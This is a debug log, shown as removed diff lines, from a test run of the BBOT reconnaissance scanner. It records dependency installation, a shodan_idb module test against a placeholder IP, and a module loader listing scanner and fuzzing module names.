(RedHat/CentOS/Fedora)", - "package": { - "name": [ - "openssl", - "openssl-devel" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Arch)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Archlinux'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Alpine)", - "package": { - "name": [ - "openssl", - "openssl-dev" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Alpine'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (FreeBSD)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'FreeBSD'", - "ignore_errors": true - } - ] -} -2026-02-27 14:40:08,547 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful -2026-02-27 14:40:08,548 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 -2026-02-27 14:40:08,552 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 14:40:08,552 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" -2026-02-27 14:40:08,552 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 14:40:08,553 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" -2026-02-27 14:40:08,553 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_idb - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 14:40:08,553 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "shodan_idb" -2026-02-27 14:40:08,553 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 14:40:08,554 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" -2026-02-27 14:40:08,554 [VERBOSE] bbot.scanner logger.py:151 Loading 1 scan modules: shodan_idb -2026-02-27 14:40:08,621 [VERBOSE] bbot.scanner logger.py:151 Loaded module "shodan_idb" -2026-02-27 14:40:08,621 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_idb) -2026-02-27 14:40:08,621 [VERBOSE] bbot.scanner logger.py:151 Loading 2 internal modules: dnsresolve,unarchive -2026-02-27 14:40:08,623 [VERBOSE] bbot.scanner logger.py:151 Loaded module "dnsresolve" -2026-02-27 14:40:08,624 [VERBOSE] bbot.scanner logger.py:151 Loaded module "unarchive" -2026-02-27 14:40:08,624 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) -2026-02-27 14:40:08,624 [VERBOSE] bbot.scanner logger.py:151 Loading 1 output modules: python -2026-02-27 14:40:08,625 [VERBOSE] bbot.scanner logger.py:151 Loaded module "python" -2026-02-27 14:40:08,625 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) -2026-02-27 14:40:08,625 [VERBOSE] bbot.scanner logger.py:151 Setting up modules -2026-02-27 14:40:08,626 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress -2026-02-27 14:40:08,626 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() -2026-02-27 14:40:08,626 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() -2026-02-27 14:40:08,626 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress -2026-02-27 14:40:08,627 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve -2026-02-27 14:40:08,627 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() -2026-02-27 14:40:08,627 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() -2026-02-27 14:40:08,627 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve -2026-02-27 14:40:08,627 [DEBUG] bbot.modules.shodan_idb base.py:1563 Setting up module shodan_idb -2026-02-27 14:40:08,628 [DEBUG] bbot.modules.shodan_idb base.py:1563 Running shodan_idb.setup_deps() -2026-02-27 14:40:08,628 [DEBUG] bbot.modules.shodan_idb base.py:1563 Running shodan_idb.setup() -2026-02-27 14:40:08,628 [DEBUG] bbot.modules.shodan_idb base.py:1563 Finished setting up module shodan_idb -2026-02-27 14:40:08,628 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive -2026-02-27 14:40:08,628 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() -2026-02-27 14:40:08,628 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() -2026-02-27 14:40:08,629 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive -2026-02-27 14:40:08,629 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python -2026-02-27 14:40:08,629 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() -2026-02-27 14:40:08,629 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() -2026-02-27 14:40:08,629 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python -2026-02-27 14:40:08,629 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress -2026-02-27 14:40:08,630 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() -2026-02-27 14:40:08,630 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() -2026-02-27 14:40:08,630 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress -2026-02-27 14:40:08,630 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_idb (success) -2026-02-27 14:40:08,630 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) -2026-02-27 14:40:08,631 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) -2026-02-27 14:40:08,631 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) -2026-02-27 14:40:08,631 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) -2026-02-27 14:40:08,631 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) -2026-02-27 14:40:08,631 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue -2026-02-27 14:40:08,631 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue -2026-02-27 14:40:08,632 [SUCCESS] bbot.scanner logger.py:151 Setup succeeded for 6/6 modules. -2026-02-27 14:40:08,632 [DEBUG] bbot base.py:109 Executing setup_after_prep() -2026-02-27 14:40:08,632 [DEBUG] bbot base.py:111 Starting scan -2026-02-27 14:40:08,711 [HUGESUCCESS] bbot.scanner logger.py:151 Starting scan testshodan_idb_test_gc6u1g45uo -2026-02-27 14:40:08,711 [VERBOSE] bbot.scanner logger.py:151 Starting module worker loops -2026-02-27 14:40:08,776 [VERBOSE] bbot.scanner logger.py:151 6 modules started -2026-02-27 14:40:08,776 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING -2026-02-27 14:40:08,777 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING -2026-02-27 14:40:08,778 [VERBOSE] bbot.modules._scan_ingress logger.py:151 Target: IP_ADDRESS("1.2.3.4", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) -2026-02-27 14:40:08,878 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) passed post-check -2026-02-27 14:40:08,878 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) -2026-02-27 14:40:08,880 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("1.2.3.4", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) in-scope because its main host matches the scan target -2026-02-27 14:40:08,880 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) -2026-02-27 14:40:08,881 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:a5ab24855813285fe015426fcb718c8c4d6bd6c8', 'name': 'testshodan_idb_...", module=TARGET, tags=set()) passed post-check -2026-02-27 14:40:08,882 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:a5ab24855813285fe015426fcb718c8c4d6bd6c8', 'name': 'testshodan_idb_...", module=TARGET, tags=set()) -2026-02-27 14:40:08,882 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check -2026-02-27 14:40:08,883 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) -2026-02-27 14:40:08,884 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:a5ab24855813285fe015426fcb718c8c4d6bd6c8', 'name': 'testshodan_idb_...", module=TARGET, tags=set()) -2026-02-27 14:40:08,885 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:a5ab24855813285fe015426fcb718c8c4d6bd6c8', 'name': 'testshodan_idb_...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-02-27 14:40:08,885 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:a5ab24855813285fe015426fcb718c8c4d6bd6c8', 'name': 'testshodan_idb_...", module=TARGET, tags=set()) -2026-02-27 14:40:08,886 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:a5ab24855813285fe015426fcb718c8c4d6bd6c8', 'name': 'testshodan_idb_...", module=TARGET, tags=set()) passed post-check -2026-02-27 14:40:08,886 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:a5ab24855813285fe015426fcb718c8c4d6bd6c8', 'name': 'testshodan_idb_...", module=TARGET, tags=set()) -2026-02-27 14:40:08,888 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:a5ab24855813285fe015426fcb718c8c4d6bd6c8', 'name': 'testshodan_idb_...", module=TARGET, tags=set()) -2026-02-27 14:40:08,888 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:a5ab24855813285fe015426fcb718c8c4d6bd6c8', 'name': 'testshodan_idb_...", module=TARGET, tags=set()) because precheck succeeded -2026-02-27 14:40:08,890 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) -2026-02-27 14:40:08,890 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check -2026-02-27 14:40:08,890 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) -2026-02-27 14:40:08,891 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) -2026-02-27 14:40:08,891 [DEBUG] bbot.modules.shodan_idb base.py:1563 Queueing IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) because precheck succeeded -2026-02-27 14:40:08,892 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) because precheck succeeded -2026-02-27 14:40:08,892 [DEBUG] bbot.modules.shodan_idb base.py:1563 Got IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) from TARGET -2026-02-27 14:40:08,892 [DEBUG] bbot.modules.shodan_idb base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check -2026-02-27 14:40:08,892 [DEBUG] bbot.modules.shodan_idb base.py:1563 Handling IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) -2026-02-27 14:40:08,908 [VERBOSE] bbot.core.helpers.web.client logger.py:151 Creating httpx.AsyncClient((), {'transport': , 'verify': , 'timeout': 10, 'headers': {'User-Agent': 'BBOT Test User-Agent'}, 'cookies': {}, 'proxy': None}) -2026-02-27 14:40:08,913 [DEBUG] bbot.modules.shodan_idb base.py:1563 Finished handling IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) -2026-02-27 14:40:08,979 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:a5ab24855813285fe015426fcb718c8c4d6bd6c8', 'name': 'testshodan_idb_...", module=TARGET, tags=set()) from TARGET -2026-02-27 14:40:08,980 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:a5ab24855813285fe015426fcb718c8c4d6bd6c8', 'name': 'testshodan_idb_...", module=TARGET, tags=set()) passed post-check -2026-02-27 14:40:08,980 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) from TARGET -2026-02-27 14:40:08,980 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check -2026-02-27 14:40:08,981 [INFO] bbot.scanner scanner.py:790 Finishing scan -2026-02-27 14:40:08,982 [DEBUG] bbot.modules.shodan_idb base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-idb'}) because its type is FINISHED -2026-02-27 14:40:08,982 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED -2026-02-27 14:40:08,983 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED -2026-02-27 14:40:08,983 [VERBOSE] bbot.scanner logger.py:151 Completed finish() -2026-02-27 14:40:08,983 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING -2026-02-27 14:40:08,984 [DEBUG] bbot.modules.shodan_idb base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-idb'}) from None -2026-02-27 14:40:08,984 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None -2026-02-27 14:40:09,084 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None -2026-02-27 14:40:09,084 [VERBOSE] bbot.scanner logger.py:151 Completed final finish() -2026-02-27 14:40:09,093 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks -2026-02-27 14:40:09,094 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks -2026-02-27 14:40:09,094 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks -2026-02-27 14:40:09,101 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks -2026-02-27 14:40:09,101 [VERBOSE] bbot.core.dnshelper logger.py:151 EngineClient DNSHelper: shutting down... -2026-02-27 14:40:09,102 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP -2026-02-27 14:40:09,103 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine got shutdown signal -2026-02-27 14:40:09,103 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine: shutting down... -2026-02-27 14:40:09,103 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine: finished shutting down -2026-02-27 14:40:09,105 [VERBOSE] bbot.core.webhelper logger.py:151 EngineClient WebHelper: shutting down... -2026-02-27 14:40:09,105 [VERBOSE] bbot.core.httpengine logger.py:151 EngineServer HTTPEngine got shutdown signal -2026-02-27 14:40:09,106 [VERBOSE] bbot.core.httpengine logger.py:151 EngineServer HTTPEngine: shutting down... -2026-02-27 14:40:09,106 [VERBOSE] bbot.core.httpengine logger.py:151 EngineServer HTTPEngine: finished shutting down -2026-02-27 14:40:09,174 [HUGESUCCESS] bbot.scanner logger.py:151 Scan testshodan_idb_test_gc6u1g45uo completed in 0 seconds with status FINISHED -2026-02-27 14:40:09,174 [DEBUG] bbot base.py:113 Finished shodan_idb module test -2026-02-27 14:40:09,174 [DEBUG] asyncio selector_events.py:64 Using selector: KqueueSelector -2026-02-27 14:43:27,687 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules -2026-02-27 14:43:27,694 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk -2026-02-27 14:43:27,695 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module -2026-02-27 14:43:27,695 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk -2026-02-27 14:43:27,696 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module -2026-02-27 14:43:27,696 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk -2026-02-27 14:43:27,698 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module -2026-02-27 14:43:27,698 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk -2026-02-27 14:43:27,701 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module -2026-02-27 14:43:27,701 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk -2026-02-27 14:43:27,702 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module -2026-02-27 14:43:27,702 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk -2026-02-27 14:43:27,703 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module -2026-02-27 14:43:27,704 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk -2026-02-27 14:43:27,704 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module -2026-02-27 14:43:27,705 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk -2026-02-27 14:43:27,705 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module -2026-02-27 14:43:27,705 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/deadly -2026-02-27 14:43:27,706 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache -2026-02-27 14:43:27,707 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz -2026-02-27 14:43:27,707 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache -2026-02-27 14:43:27,708 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules -2026-02-27 14:43:27,708 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache -2026-02-27 14:43:27,709 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache -2026-02-27 14:43:27,709 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache -2026-02-27 14:43:27,710 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache -2026-02-27 14:43:27,710 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache -2026-02-27 14:43:27,710 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache -2026-02-27 14:43:27,711 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache -2026-02-27 14:43:27,711 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache -2026-02-27 14:43:27,712 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache -2026-02-27 14:43:27,712 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache -2026-02-27 14:43:27,712 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache -2026-02-27 14:43:27,714 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache -2026-02-27 14:43:27,715 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache -2026-02-27 14:43:27,715 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache -2026-02-27 14:43:27,716 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache -2026-02-27 14:43:27,716 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache -2026-02-27 14:43:27,717 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache -2026-02-27 14:43:27,717 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache -2026-02-27 14:43:27,717 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache -2026-02-27 14:43:27,718 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache -2026-02-27 14:43:27,718 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache -2026-02-27 14:43:27,719 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache -2026-02-27 14:43:27,719 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache -2026-02-27 14:43:27,719 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache -2026-02-27 14:43:27,720 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache -2026-02-27 14:43:27,720 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache -2026-02-27 14:43:27,721 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache -2026-02-27 14:43:27,721 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache -2026-02-27 14:43:27,721 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache -2026-02-27 14:43:27,722 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache -2026-02-27 14:43:27,722 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache -2026-02-27 14:43:27,722 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache -2026-02-27 14:43:27,723 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache -2026-02-27 14:43:27,723 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache -2026-02-27 14:43:27,724 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache -2026-02-27 14:43:27,724 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache -2026-02-27 14:43:27,725 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache -2026-02-27 14:43:27,727 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache -2026-02-27 14:43:27,728 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache -2026-02-27 14:43:27,728 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache -2026-02-27 14:43:27,729 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache -2026-02-27 14:43:27,729 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache -2026-02-27 14:43:27,730 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache -2026-02-27 14:43:27,730 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache -2026-02-27 14:43:27,731 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache -2026-02-27 14:43:27,731 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache -2026-02-27 14:43:27,731 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache -2026-02-27 14:43:27,732 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache -2026-02-27 14:43:27,732 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache -2026-02-27 14:43:27,733 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache -2026-02-27 14:43:27,733 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache -2026-02-27 14:43:27,733 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache -2026-02-27 14:43:27,734 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache -2026-02-27 14:43:27,734 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache -2026-02-27 14:43:27,735 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache -2026-02-27 14:43:27,735 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache -2026-02-27 14:43:27,735 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache -2026-02-27 14:43:27,736 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache -2026-02-27 14:43:27,736 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache -2026-02-27 14:43:27,736 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache -2026-02-27 14:43:27,737 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache -2026-02-27 14:43:27,737 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache -2026-02-27 14:43:27,738 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache -2026-02-27 14:43:27,738 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache -2026-02-27 14:43:27,739 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache -2026-02-27 14:43:27,739 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache -2026-02-27 14:43:27,740 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache -2026-02-27 14:43:27,740 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache -2026-02-27 14:43:27,740 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache -2026-02-27 14:43:27,741 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache -2026-02-27 14:43:27,741 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache -2026-02-27 14:43:27,741 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache -2026-02-27 14:43:27,742 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache -2026-02-27 14:43:27,742 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache -2026-02-27 14:43:27,743 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache -2026-02-27 14:43:27,743 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache -2026-02-27 14:43:27,743 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache -2026-02-27 14:43:27,744 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache -2026-02-27 14:43:27,744 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache -2026-02-27 14:43:27,744 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache -2026-02-27 14:43:27,745 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache -2026-02-27 14:43:27,745 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache -2026-02-27 14:43:27,746 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache -2026-02-27 14:43:27,746 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache -2026-02-27 14:43:27,746 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache -2026-02-27 14:43:27,747 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache -2026-02-27 14:43:27,747 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache -2026-02-27 14:43:27,748 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache -2026-02-27 14:43:27,748 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache -2026-02-27 